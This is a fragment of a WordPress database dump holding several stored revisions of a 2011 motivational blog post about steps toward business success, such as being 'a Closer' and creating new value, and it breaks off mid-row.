(1477, 2, '2011-01-18 12:06:56', '2011-01-18 19:06:56', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself re-focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-6', '', '', '2011-01-18 12:06:56', '2011-01-18 19:06:56', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-6/', 0, 'revision', '', 0),
(1478, 2, '2011-01-18 12:07:06', '2011-01-18 19:07:06', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, refocus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself re-focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-7', '', '', '2011-01-18 12:07:06', '2011-01-18 19:07:06', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-7/', 0, 'revision', '', 0);
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(1479, 2, '2011-01-18 12:07:59', '2011-01-18 19:07:59', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-8', '', '', '2011-01-18 12:07:59', '2011-01-18 19:07:59', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-8/', 0, 'revision', '', 0),
(1480, 2, '2011-01-18 12:08:09', '2011-01-18 19:08:09', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>There’s nothing sexy or complicated about these timeless principals for extraordinary performance and achievement. When you’re feeling stuck, get yourself refocused on the discipline to master the basics of playing a bigger game and making quantum leaps. Start with what’s at hand and from where you stand. Which of these essential ingredients are already present in you? Which of these require more of your focus and attention</strong>?', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-9', '', '', '2011-01-18 12:08:09', '2011-01-18 19:08:09', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-9/', 0, 'revision', '', 0),
(1482, 2, '2011-01-18 12:09:32', '2011-01-18 19:09:32', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-11', '', '', '2011-01-18 12:09:32', '2011-01-18 19:09:32', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-11/', 0, 'revision', '', 0),
(1483, 2, '2011-01-18 12:15:09', '2011-01-18 19:15:09', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of success!', 0, '', 'inherit', 'open', 'open', '', '1470-revision-12', '', '', '2011-01-18 12:15:09', '2011-01-18 19:15:09', '', 1470, 'http://www.whitehotcenter.com/2011/01/18/1470-revision-12/', 0, 'revision', '', 0),
(1484, 2, '2011-01-18 12:15:19', '2011-01-18 19:15:19', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder to create success, you can easily feel overwhelmed.  When you do, focus your creative energy on these fundamental steps essential for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest 